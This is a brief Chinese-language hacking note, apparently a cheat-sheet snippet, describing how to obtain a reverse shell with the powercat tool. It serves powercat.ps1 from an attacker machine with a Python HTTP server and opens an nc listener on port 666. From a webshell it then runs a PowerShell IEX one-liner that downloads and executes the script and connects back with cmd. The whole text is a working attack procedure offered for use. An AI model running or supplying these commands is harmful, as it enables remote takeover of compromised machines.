下载地址 https://github.com/besimorhino/powercat
这个powercat可以放在服务器上供目标机器远程下载执行
首先在当前目录用python开启一个http服务
python3 -m http.server 8080
在kali上开启监听666端口
nc -lvvp 666
在webshell上执行命令
powershell IEX (New-Object
System.Net.Webclient).DownloadString(‘http://192.168.1.15:8080/powercat.ps1’);
powercat -c 192.168.1.15 -p 666 -e cmd
返回shell